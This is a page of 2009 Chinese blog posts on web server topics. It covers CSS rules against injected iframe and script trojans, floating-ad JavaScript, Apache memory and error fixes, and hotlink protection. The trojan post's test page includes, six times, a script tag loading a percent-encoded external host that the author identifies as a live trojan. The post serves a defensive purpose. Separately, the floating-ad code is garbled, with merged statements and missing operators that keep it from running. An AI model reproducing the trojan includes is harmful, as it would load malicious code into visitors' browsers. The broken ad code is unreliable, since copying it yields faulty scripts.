二行代码解决全部网页木马(含iframe/script木马)

0 条评论

解决方案1: 


XML/HTML代码

  1. iframe{n1ifm:expression(this.src='about:blank',this.outerHTML='');}/*这行代码是解决挂IFRAME木马的哦*/    
  2. script{nojs1:expression((this.src.toLowerCase().indexOf('http')==0)?document.write('木马被成功隔离!'):'');}  

原理:将<script>标记的src拿出来转为小写,再看是不是以“http”开头的外域JS脚本文件,如果是,则页面内容清空并写出“木马被成功隔离!”。反之正常显示。

缺点:访客无法看到被感染了<script>木马的页面。
解决方案2: 

 


XML/HTML代码

  1. iframe{nifm2:expression(this.src='about:blank',this.outerHTML='');}    
  2. script{no2js:expression((this.src.toLowerCase().indexOf('http')==0)?document.close():'');}

 

原理:将外域的JS文件的document.write()使用document.close()强制关闭。木马内容还没有来得及写完,只有部分被强制缓存输出了,剩下的不会再写了。

解决方案3:

 


XML/HTML代码

  1. iframe{ni3fm:expression(this.src='about:blank',this.outerHTML='');}    
  2. script{n3ojs:expression((this.src.toLowerCase().indexOf('http')==0)?document.execCommand('stop'):'');}


原理:同到外域的JS文件,立即调用IE私有的execCommand方法来停止页面所有请求,所以接下来的外域JS文件也被强制停止下载了。就像我们点了浏览器的“停止”按钮一样。看来这是JS模拟IE停止按钮的一种方法。

 

解决方案4:


XML/HTML代码

  1. iframe{nif4m:expression(this.src='about:blank',this.outerHTML='');}    
  2. script{noj4s:expression(if(this.src.indexOf('http')==0)this.src='res://ieframe.dll/dnserror.htm');}  

原理:将外域的JS文件的src重写成本地IE404错误页面的地址,这样,外域的JS代码不会下载。

解决方案5: 


XML/HTML代码

  1. iframe{nifm5:expression(this.src='about:blank',this.outerHTML='');}    
  2. script{noj5s:expression((this.id.toLowerCase().indexOf('vok')!=-1)?document.write('木马被成功隔离!'):''));}  


第五种方案的页面HTML源代码<script>中要加入以"lh"为前缀的id,如lhWeatherJSapi,<script src="***/**.js" id="lhSearchJSapi"></script> 


以下页面代码里含有一个木马地址,而且木马在页面里重复了6次,大家分别用我上面的不同方案测试一下,看看我的研究如何!(此测试有一定的危险性,请务必打好所有补丁再测试)

 


XML/HTML代码

  1. <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "[url]http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"[/url]>    
  2. <html xmlns="[url]http://www.w3.org/1999/xhtml"[/url]>    
  3. <head>    
  4. <meta http-equiv="Content-Type" content="text/html; charset=utf-8" />    
  5. <title>让JS木马的进程迅速中止的CSS代码</title>    
  6. <style type="text/css" id="LinrStudio">    
  7. /*<![CDATA[*/  
  8. iframe{nhk1:expression(this.src='about:blank',this.outerHTML='');}  
  9. script{ngz1:expression((this.src.indexOf('http')==0)?document.close():'');}  
  10. /* 以后请在此关注最新木马处理方法:[url]http://www.nihaoku.cn/ff/api.htm[/url] */  
  11. /*]]>*/    
  12. </style>    
  13. </head>    
  14. <body>    
  15. <script type="text/javascript" src="1.js"></script>    
  16. <script src=http://%76%63%63%64%2E%63%6E></script>    
  17. <script src="[url]http://%76%63%63%64%2E%63%6E"[/url] type="text/javascript"></script>    
  18. <script src=http://%76%63%63%64%2E%63%6E></script>    
  19. 我是页面本身的1    
  20. <script src=http://%76%63%63%64%2E%63%6E></script>    
  21. 我是页面本身的2    
  22. <script src=http://%76%63%63%64%2E%63%6E></script>    
  23. 我是页面本身的3    
  24. <script src=http://%76%63%63%64%2E%63%6E></script>    
  25. </body>    
  26. </html>  


其中1.js是自己本站的:


XML/HTML代码

  1. document.write("我是本站的JS文件");    
  2. document.write("<img src='http://www.baidu.com/p_w_picpaths/logo.gif' />");  
2009-06-12 / 服务器 / css, 木马 阅读全文

漂浮窗口代码 怎么写

0 条评论

漂浮窗口代码带关闭按钮

 


XML/HTML代码

  1. <script type="text/javascript">  
  2. function hidead()   
  3. {document.getElementById("ad").style.display="none";}   
  4. </script>  
  5. <div id="ad" style="position:absolute">  
  6. <a href="http://meiniu.5d6d.com/thread-15-1-1.html"target="_blank">  
  7. <img src="{S_URL}/templates/$_SCONFIG[template]/images/xiwangbei.jpg" >  
  8. </a>  
  9. <DIV style="FONT-SIZE: 9pt; CURSOR: hand" align=right>关闭×</DIV></div>  
  10. <script>  
  11. var x = 50,y = 60  
  12. var xin = trueyin = true  
  13. var step = 1  
  14. var delay = 1  
  15. var obj=document.getElementById("ad")   
  16. function floatAD() {   
  17. var L=T=0   
  18. var Rdocument.body.clientWidth-obj.offsetWidth   
  19. var B = document.body.clientHeight-obj.offsetHeight   
  20. obj.style.left = x + document.body.scrollLeft   
  21. obj.style.top = y + document.body.scrollTop   
  22. xx = x + step*(xin?1:-1)   
  23. if (x < L) { xin = truex = L}   
  24. if (x > R){ xin = falsex = R}   
  25. yy = y + step*(yin?1:-1)   
  26. if (y < T) { yin = truey = T }   
  27. if (y > B) { yin = falsey = B }   
  28. }   
  29. var itlsetInterval("floatAD()", delay)   
  30. obj.onmouseover=function(){clearInterval(itl)}   
  31. obj.onmouseout=function(){itl=setInterval("floatAD()", delay)}   
  32. </script>  

 

以下代码不含关闭窗口

 


XML/HTML代码

  1. <div id="move">  
  2. <SCRIPT>    
  3. var imagepath="{S_URL}/templates/$_SCONFIG[template]/images/xiwangbei.jpg" //这里是浮动图片的地址   
  4. var imagewidth=100 //这两行写图片的大小    
  5. var imageheight=100    
  6. var speed=3;    
  7. var imageclick="http://meiniu.5d6d.com/thread-15-1-1.html" //这里写点击图片连接到的地址    
  8. var hideafter=0    
  9. var isie=0;    
  10. if(window.navigator.appName=="Microsoft Internet Explorer"&&window.navigator.appVersion.substring(window.navigator.appVersion.indexOf("MSIE")+5,window.navigator.appVersion.indexOf("MSIE")+8)>=5.5) {    
  11. isie=1;    
  12. }    
  13. else {    
  14. isie=0;    
  15. }    
  16. if(isie){    
  17. var preloadit=new Image()    
  18. preloadit.src=imagepath    
  19. }    
  20. function pop() {    
  21. if(isie) {    
  22. xx=x+dx;yy=y+dy;    
  23. oPopup.show(x, y, imagewidth, imageheight);    
  24. if(x+imagewidth+5>screen.width) dx=-dx;    
  25. if(y+imageheight+5>screen.height) dy=-dy;    
  26. if(x<0dx=-dx;    
  27. if(y<0dy=-dy;    
  28. startani=setTimeout("pop();",50);    
  29. }    
  30. }    
  31. function dismisspopup(){    
  32. clearTimeout(startani)    
  33. oPopup.hide()    
  34. }    
  35. function dowhat(){    
  36. if (imageclick=="dismiss")    
  37. dismisspopup()    
  38. else    
  39. window.open(imageclick);    
  40. }    
  41. if(isie) {    
  42. var x=0,y=0,dx=speed,dy=speed;    
  43. var oPopup = window.createPopup();    
  44. var oPopupoPopupBody = oPopup.document.body;    
  45. oPopupBody.style.cursor="hand"    
  46. oPopupBody.innerHTML = '<IMG SRC="'+preloadit.src+'">';    
  47. oPopup.document.body.onmouseover=new Function("clearTimeout(startani)")    
  48. oPopup.document.body.onmouseout=pop    
  49. oPopup.document.body.onclick=dowhat    
  50. pop();    
  51. if (hideafter>0)    
  52. setTimeout("dismisspopup()",hideafter*1000)    
  53. }    
  54. </SCRIPT>    
  55. </div>  
2009-06-12 / 服务器 / none 阅读全文

Apache 内存暴增解决方法

0 条评论

前阵子总是发现 httpd 进程的使用内存总量居然达到了上百Mb,有时甚至上Gb,真是夸张。Apache 是架在 Squid 的后面,照理说不应该出现这种情况。通过排查,发现是 Apache 中开启了持续长连接导致。

Apache 进程的内存使用是 “递增/渐进” 式的,也就是在当前进程的 httpd 过程中,内存使用是持续增加的,也就是说在该进程退出之前,内存是持续增加的。主要是由于下面三个参数来控制。

KeepAlive On 设定是否要开启持续长连接,由于前面有 Squid,因此在这里把它打开

MaxKeepAliveRequests 50 在一次持续长连接中,最多允许接收几次请求,如果设置太大的话,很可能导致 httpd
进程持续消耗很多内存,因此可以选择一个适当的值,因为重新创建一个新的进程也是要有一定开销的

KeepAliveTimeout 5 设定一个长连接在没有活动后等待多久自动关闭,可以设置小一点,不过跟上面的类似,如果太小的话,也会导致频繁创建新的进程

现在,调整完上面的参数后,会发现 httpd 进程不再象以前那样狂吃内存了。

 

下面我们针对几种错误信息进行分析并给出解决的方法:

1. Apache与WinSock v2相冲突
Apache官方提供的手册中提到,在Windows系统下Apache2.x为了提高性能而使用了Microsoft WinSock v2 API,但是一些常见的防火墙软件会破坏他的正确性,从而使得Apache出现死循环操作造成CPU100%。

错误提示如下所示:


[error] (730038)An operation was attempted on something that is not a socket.: winnt_accept: AcceptEx failed. Attempting to recover.

[error] (OS 10038) : Child 3356: Encountered too many errors accepting client connections. Possible causes: dynamic address renewal, or incompatible VPN or firewall software. Try using the Win32DisableAcceptEx directive.

[warn] (OS 121)信号灯超时时间已到。 : winnt_accept: Asynchronous AcceptEx failed.

[warn] (OS 64)指定的网络名不再可用。 : winnt_accept: Asynchronous AcceptEx failed.


可以依次采用下面的方法来解决上面的问题,如果进行了一步还有问题就继续下一步:

1) 在httpd.conf文件中使用 Win32DisableAcceptEx 禁止Apache使用 Microsoft WinSock v2 API :


  1. <IfModule mpm_winnt.c>
  2. Win32DisableAcceptEx # 禁止使用AcceptEx()
  3. </IfModule>

2) 使用System Repair Engineer(SREng)查看WinSocket供应者,如果出现非MS的陌生项则将其删除,并使用软件的“重置WinSocket”按钮进行重置。

3) 卸载与Apache相冲突的杀毒软件或防火墙软件。

如果进行上面的三个步骤之后还有问题,那应该看看是不是还有下面的错误

2. 是否加载了第三方模块(so文件)
Apache2.x要求所有的第三方模块都必须是线程安全的,但有很多第三方的模块可能存在内存泄露,因此时间一长就可以极大的消耗Apache资源。所以可以采用将所有的第三方模块逐个关闭的方法看看运行一段时间之后Apache对资源的占用是否有所改善。

3. “Terminating 1 threads that failed to exit”错误
上面错误中的数字1有可能是其他数字,造成这个错误的原因是Apache在关闭并发线程的时候出现线程溢出,从而造成内存泄露,表现出来的就是Apache所占用的系统资源持续增长。

具体来说,Apache的子进程在结束当前请求之前会首先将所有的并发线程进行关闭,在关闭的时候会等待3分钟,如果3分钟之内没有将所有的线程关 闭则会抛出上述的错误提示,然后强制关闭。这样就造成了内存溢出,时间一长会使得Apache所占用资源持续增长直到无法工作。这个时候可以适当将MaxRequestsPerChild的值降低,使得Apache子进程所并发的线程数量减少,从而降低该错误出现的几率。

但是这种方式并不能彻底解决问题,幸好Apache2.0.x的最新版本(2.0.63)解决了之前版本的这个问题,如果3分钟之内有线程没有关闭的话会自动根据时间情况再增加等待结束的时间直到最终将所有的线程结束。日志文件中会出现类似下面的信息:


Child 1952: Waiting 150 more seconds for 2 worker threads to finish.
Child 1952: Waiting 120 more seconds for 1 worker threads to finish.
Child 1952: All worker threads have exited.


4. “file .\\server\\mpm\\winnt\\child.c, line 1078, assertion “(rv >= 0) && (rv < threads_created)” failed” 错误

这个错误是Apache的一个bug(#11997),可以通过 Win32DisableAcceptEx 禁止Apache使用WinSocket v2来避免此bug,具体设置见前述。

5. PHP5.2.1以上版本的libmysql.dll与MySQL5不兼容
PHP5.2.1以后的新版本(截止目前最新版本为5.2.5)中用于连接MySQL的libmysql.dll组件与MySQL5不兼容,在Apache中运行PHP的时候会造成Apache产生CPU100%的问题。

解决的方法就是从http://www.php.net/releases/下载5.2.1版本,将压缩包中的libmysql.dll文件覆盖现在的文件,然后重启Apache就可以了。

6. 病毒或木马程序命名为Apache.exe
有的时候病毒或木马程序会将其名称命名为Apache.exe文件达到一种掩饰的目的,这个时候使用第三方进程分析器查看进程的路径然后将其删除或使用杀毒软件清除就可以了。

7. 程序编写不严谨造成死循环等错误
如果上面的问题都不存在Apache依然产生CPU100%的问题的话,通常来说就应该是Web程序自身的问题了,例如死循环等等。这个时候需要在日志中设置HTTP请求的文件及执行的时间,然后查找出执行时间比较长的地址进行分析排查。

日志格式设置如下:


LogFormat “%v %h %l %u %t [%Ts] \”%r\” %>s %b” vhost_common #设置程序执行时间

<VirtualHost xxx.xxx.xx.xx:80>
ServerName xxx.xxx.com
DirectoryIndex index.php index.html index.htm
DocumentRoot “xxx”
# cronolog.exe用于将日志文件进行分割的应用程序,可以在 http://cronolog.org/ 下载
CustomLog “|bin/cronolog.exe e:/%Y%m%d.log” vhost_common
</VirtualHost>

2009-06-11 / 服务器 / none 阅读全文

apache防盗链解决方案之一

0 条评论

近期有一台服务器流量爆增,速度峰值从原来不到1M,一下子飚到12M,因为服务器上有很多mp3文件,是用户相册的背景音乐,估计是有用户把这个背景音乐的链接给发布出去了。
查看了一下日志文件,到处充斥着类似
125.71.138.240 - - [20/Oct/2007:23:59:29 +0800] "GET /user/hubaolai/misc/07131250f5da21189d8eea6104be3d9f.mp3 HTTP/1.1" 206 442947 "
http://mp3.baidu.com/m?tn=baidump3&ct=134217728&lm=-1&li=65&word=Anyclub+%C0%EE%D0%A2%C0%FB" "Mozilla/4.0 (compatible; MSIE 6.0; Win
dows NT 5.1)"
瀑布汗
而且这些流量主要集中在三个用户的目录下,检查了这三个用户的文件夹,除了mp3之外,一张图片都没有。额滴神呀,我们是做相册滴,这几个老兄也太有才了,20M的空间能放几个mp3呀,真是的,还非得把地址给共享出来。

vi httpd.conf


XML/HTML代码

  1. SetEnvIfNoCase Referer "^http://.*\.admin99\.net" local_ref=1  
  2. <FilesMatch "\.(mp3|jpg|jpeg)">  
  3. Order Allow,Deny   
  4. Allow from env=local_ref  
  5. </FilesMatch>  

以此,保护mp3,jpg,jpeg三种文件,只能通过相册里的播放器才能调用
这样的设置有一个小问题。直接在地址栏中输入一个图片或者mp3的地址的时候,也无法访问。
如果允许能直接访问这些文件
需要在刚才的配置中加上一句


XML/HTML代码

  1. SetEnvIfNoCase Referer "^$" local_ref=1  

如果要通过ip也能访问到这些文件,需要在上述配置中再加一句


XML/HTML代码

  1. SetEnvIfNoCase Referer "^http://000\.000\.000\.000\.*" local_ref=1  

如果你有多台服务器,并且他们在一个ip段中
那么上面这句可以写为


XML/HTML代码

  1. SetEnvIfNoCase Referer "^http://000\.000\.000\.*" local_ref=1  

上面两句配置都要主意其中第一个000前面没有那个“.”

保存退出重起apache
看日志,mp3.baidu.com来的链接,都成了403 Forbidden
观察10分钟,流量从12M里马回落到2M到3M之间
但是觉得这个流量还是偏高

再看日志,虽然大部分针对mp3的访问都成了403,却仍然有一些访问的代码成了206 获得部分文件?
百思不得其解,白查不得答案,感觉应该是迅雷,超级旋风之类的下载软件,自己用迅雷试了一下,果然还可以下载 -_-!。
据说这些软件有一种欺骗技术,可以欺骗服务器的reffer。有人根据迅雷下载是在日志中留下的agent代码 Mozilla/4.0 (compatible; MSIE 6.0 来进行限制,刚开始还挺高兴,猛地发现,自己访问网站是留下的agent代码也是这样地,这个问题留待以后解决,自己用IE访问,用maxthon访问,用迅雷下载,留下的agent代码都含有 Mozilla/4.0 (compatible; MSIE 6.0 。再细看这篇文章,发布日期是2006年,算了,你迅雷下载就下载吧,反正再过一星期,服务器上所有的mp3都要删除了,娃哈哈哈.....-_-!!!


apache 防盗链解决方案之二

0 条评论

使用.htaccess文件
首先,要确保开启了RewriteEngine。
apache中默认是不使用.htaccess文件的
与之相关的两个参数是 AllowOverride 和 AccessFileName
AllowOverride的全称是分布式配置文件功能。
默认时该指令设置为none,此时 .htaccess文件会被完全忽略。事实上,服务器根本不会读取.htaccess文件。
如果该指令设置为 All 时,所有具有 .htaccess 作用域的指令都允许出现在.htaccess文件中。
该指令还有其它几个值,比如AuthConfig,FileInfo ,Indexes,Limit,Options[=Option,...],此处不一一介绍。
一般要使.htaccess生效,将其设置为all。
另外,Allowoverride指令仅在不包含正则表达式的<Directory>配置段中才是有效的。这个很重要,单独修改httpd.conf中的那一行 Allowoverride none是没用的。
例如,在我服务器上的配置为

<Directory "/data/htdocs/spacemx/user">
AllowOverride All
</Directory>

其中的 /data/htdocs/spacemx/user 是用户数据的根目录,就是本例要保护防盗链的目录。
这三行配置可以写在虚拟主机配置段内,也可以写在段外。
另外一个参数AccessFileName,默认值为 .htaccess,当然,你可以修改为任意的你想要的文件名。
配置好apache之后,然后就来写 .htaccess文件了,该文件最好放置在你要保护的位置的根目录
我服务器上的.htaccess文件的内容为

RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$ [NC]
RewriteCond %{HTTP_REFERER} !admin99.net [NC]
RewriteRule .*\.(gif|jpg|jpeg)$ http://www.admin99.net/xianzhi.gif [R,NC,L]

通过这个配置,所有盗链的图片均被rewrite到了自己设置的图片上,警示别人不允许盗链。
RewriteCond声明了生效的条件,在引用地址不是本站的时候,开始生效。
RewriteRule设置了规则,即,把盗链全部转向到设置好的警示图片。

.htaccess中的内容也可以直接写入httpd.conf中的虚拟主机配置段内,那样的话,就不需要设置.htaccess文件了。
apache的功能真是太强大了,这也直接导致它成了一个重型的web服务器,相比于后起的轻型web服务器lighttpd和Nginx 之流,他在响应速度方面已经远远落后了。但在稳定性和功能性依然遥遥领先。